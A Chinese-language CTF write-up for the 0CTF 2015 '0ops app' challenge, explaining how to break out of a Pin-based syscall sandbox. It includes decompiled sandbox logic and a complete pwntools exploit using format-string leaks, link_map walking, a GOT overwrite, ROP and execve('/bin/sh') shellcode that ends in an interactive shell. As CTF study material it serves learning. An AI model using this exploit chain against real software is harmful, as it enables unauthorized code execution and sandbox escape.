0CTF 0ops app

Posted by rk700 on April 25, 2015

这道题提供了一个sandbox.so,当时我连如何运行这道题都不知道……今天阅读了http://acez.re/ctf-writeup-0ctf-2015-quals-login0opsapp-breaking-out-of-a-pin-sandbox/https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py,终于搞明白这道题目了,在此记录。

具体地,这道题目需要用pin,下载配置好之后,就可以按如下方式来运行:

$ pin.sh -injection child -t sandbox.so -- ./login

由于目标二进制文件与login里是同一个,所以漏洞还是格式化字符串攻击,可见之前login的writeup。在那道题,我们通过修改返回地址为读flag的函数来获得flag。在这道题,我们同样可以修改返回地址,从而再次调用有问题的printf

如果没有sandbox保护,那我们可以利用格式化字符串攻击来泄露内存地址,获得system,再修改返回地址。但这道题的sandbox.so有进行保护。下面是反编译得到的一部分伪代码:

function syscall_check(unsigned int, LEVEL_VM::CONTEXT*, LEVEL_CORE::SYSCALL_STANDARD, void*) {
r13 = arg3;
LODWORD(r12) = LODWORD(arg0);
LODWORD(rbp) = LODWORD(arg2);
rbx = arg1;
rsp = rsp - 0x8;
rax = LEVEL_PINCLIENT::PIN_GetSyscallNumber(rbx, LODWORD(arg2));
if (rax != 0x3) { //close
if (CPU_FLAGS & BE) { //read, write, open
if ((rax == 0x3c) || (rax == 0xe7)) { //exit, exit_group
return rax;
}
else {
if (rax == 0x25) { //alarm
if (*(int8_t *)activated != 0x0) {
rax = exit(0xffffffff);
}
else {
*(int8_t *)activated = 0x1;
rax = mprotect(activated, 0x1000, 0x1);
if (LODWORD(rax) != 0x0) {
rax = exit(0xffffffff);
}
else {
return rax;
}
}
}
else {
rax = activated;
if (*(int8_t *)rax == 0x0) {
return rax;
}
else {
rax = exit(0xffffffff);
}
}
}
}
else {
if (rax > 0x1) {
rax = activated;
if (*(int8_t *)rax != 0x0) {
rax = open_check(LODWORD(r12), rbx, LODWORD(rbp), r13);
if (LOBYTE(rax) == 0x0) {
rax = exit(0xffffffff);
}
else {
return rax;
}
}
else {
return rax;
}
}
else {
return rax;
}
}
}
else {
return rax;
}
return rax;
}

可以看到,如果有调用过alarm,那么能够进行的syscall就只有read, write, open了。而不幸的是,login在运行时有调用过alarm。所以,直接修改login的执行流程来调用systemexecve是不可能的了,我们只能通过修改sandbox.so的执行流程来调用execve。具体地,如果把sandbox.so里的exit@got修改指向我们的shellcode,那么再次调用不符规定的syscall,就会造成sandbox.so里执行exit,即执行我们的shellcode了。

特别的,虽然我的系统开了ASLR,但是实验发现,pinbin每次都是被加载到了固定的地址,而pinbin是有DT_DEBUG信息的:

$ readelf -d /opt/pin/intel64/bin/pinbin 

Dynamic section at offset 0x87e3e0 contains 26 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libdl.so.2]
0x0000000000000001 (NEEDED) Shared library: [libstdc++.so.6]
0x0000000000000001 (NEEDED) Shared library: [libm.so.6]
0x0000000000000001 (NEEDED) Shared library: [libgcc_s.so.1]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000010 (SYMBOLIC) 0x0
0x000000000000000c (INIT) 0x3041b4488
0x000000000000000d (FINI) 0x3045fa278
0x0000000000000004 (HASH) 0x304001060
0x0000000000000005 (STRTAB) 0x304039fb0
0x0000000000000006 (SYMTAB) 0x30400c980
0x000000000000000a (STRSZ) 392376 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
...

结合之前关于DT_DEBUG文章,我们可以遍历来获得sandbox.so在内存中的地址,进而得到sandbox.so里的exit@got的地址。具体地:

$ readelf -lW /opt/pin/intel64/bin/pinbin 

Elf file type is DYN (Shared object file)
Entry point 0x3041b5150
There are 8 program headers, starting at offset 64

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000304000040 0x0000000304000040 0x0001c0 0x0001c0 R E 0x8
INTERP 0x001024 0x0000000304001024 0x0000000304001024 0x00001c 0x00001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x000000 0x0000000304000000 0x0000000304000000 0x7e37a4 0x7e37a4 R E 0x200000
LOAD 0x7e37a8 0x00000003049e37a8 0x00000003049e37a8 0x0a3588 0x1b3380 RW 0x200000
DYNAMIC 0x87e3e0 0x0000000304a7e3e0 0x0000000304a7e3e0 0x0001e0 0x0001e0 RW 0x8
...

我们知道.dynamic会在0x304a7e3e0。所以通过不断地printf打印内存信息,遍历link_map,获得sandbox.so的地址。

此外,检查maps发现,内存中有rwx的区域的,其地址也是每次不变的,应该是pinbin引入的。所以我们可以先ROP,将shellcode写到那个rwx的区域;并修改sandbox.so中的exit@got指向我们的shellcode,最后调用不符要求的syscall,即达到目的。具体地,ROP我是先通过pop; ret把几个寄存器的值设好,再调用login中的一个类似于readline的函数,来实现写shellcode到指定位置。

下面是具体的代码,有些乱……

#!/usr/bin/env python2

from pwn import *
import sys

if __name__ == '__main__' :
context(arch='amd64', os='linux')

ip = "127.0.0.1"
#ip = sys.argv[1]
conn = remote(ip, 55555)
f = open("pl", "wb")

def send(data):
conn.send(data)
f.write(data)

payload = "guest\nguest123\n2\n" + "A"*256 + "4\n" + "%1$p,%3$p\n1234\n"

send(payload)

conn.recvuntil("Password: ")
conn.recvuntil("Password: ")
addrs = (conn.recvline(keepends=False).split(" ")[0]).split(',')

base = int(addrs[0], 16)-0x1490
stack = int(addrs[1], 16)
retAddr = stack - 0x8
print "ret addr is %s" % hex(retAddr)
print "base is %s" % hex(base)

addr0 = (base+0x1053) & 0xffff

def readStr(where):
username = "%%%dx%%40$hn--%%41$s--" % addr0
password = p64(retAddr) + p64(where)
send(username+'\n'+password+'\n')
conn.recvuntil('--')
return conn.recvuntil('--')[:-2]

def read8(where):
content = ''
while len(content) < 8:
res = readStr(where)
content += (res + '\x00')
where += (len(res)+1)
return u64(content[:8].ljust(8,'\x00'))

#iterate link_map to find the address of lib
def findBase(dynamic, lib):
r_debug = read8(dynamic)
print 'r_debug is at %s' % hex(r_debug)

link_map = read8(r_debug+8)
print 'link_map is at %s' % hex(link_map)

while True:
l_name = read8(link_map+8)
l_name_str = readStr(l_name)
if l_name_str.endswith(lib):
l_addr = read8(link_map)
print '%s is at %s' % (l_name_str, hex(l_addr))
break
link_map = read8(link_map+24)
return l_addr

pinDynamic = 0x304a7e3e0
sandboxBase = findBase(pinDynamic+13*16+8, 'sandbox.so')

def write8(where, what):
writes = {}
writes[where] = what & 0xffff
writes[where + 2] = (what >> 16) & 0xffff
writes[where + 4] = (what >> 32) & 0xffff
writes[where + 6] = (what >> 48) & 0xffff
writes[retAddr] = addr0

printed = 0
username = ''
password = ''
index = 40
for where, what in sorted(writes.items(), key=operator.itemgetter(1)):
delta = (what - printed) & 0xffff

if delta > 0:
if delta < 8:
username += 'A' * delta
else:
username += '%' + str(delta) + 'x'

username += '%' + str(index) + '$hn'
index += 1

password += p64(where)
printed += delta
send(username+'\n'+password+'\n')


'''
6A25 push byte +0x25
58 pop rax
0F05 syscall
'''

# call alarm to invoke exit in sandbox
shellcode1 = '6a25580f05'.decode('hex')


'''
6A3B push byte +0x3b
58 pop rax
99 cdq
52 push rdx
EB06 jmp short 0xd
5F pop rdi
4831F6 xor rsi,rsi
0F05 syscall
E8F5FFFFFF call qword 0x7
2F62696E2F7368 "/bin/sh"
'''

shellcode2 = '6a3b589952eb065f4831f60f05e8f5ffffff2f62696e2f7368'.decode('hex')

rwx = 0x0304aa8080
exitGotSandbox = sandboxBase + 0xa4e440
#write shellcode address to exit@got in sandbox
write8(exitGotSandbox, rwx+len(shellcode1))
verify = read8(exitGotSandbox)
print 'verify: %s' % hex(verify)

# 0x1363 : pop rdi ; ret
# 0x1361 : pop rsi ; pop r15 ; ret
readline = base+0xcb5
#rop: read shellcode to rwx area
rop = p64(base+0x1363) + p64(rwx) + p64(base+0x1361) + p64(0x1234) + p64(0) + p64(readline) + p64(rwx)

pop5ret = base + 0x135b
username = ("%%%dx%%10$hn--" % (pop5ret & 0xffff)).ljust(16) + p64(retAddr) + rop
send(username + '\n1234\n')
conn.recvuntil('--')

send(shellcode1+shellcode2+'\n')

conn.interactive()
exit(0)

write8那里直接用了https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py的代码。我之前都是从低位到高位按顺序修改的,但他这样先排一次序再写我觉得很好。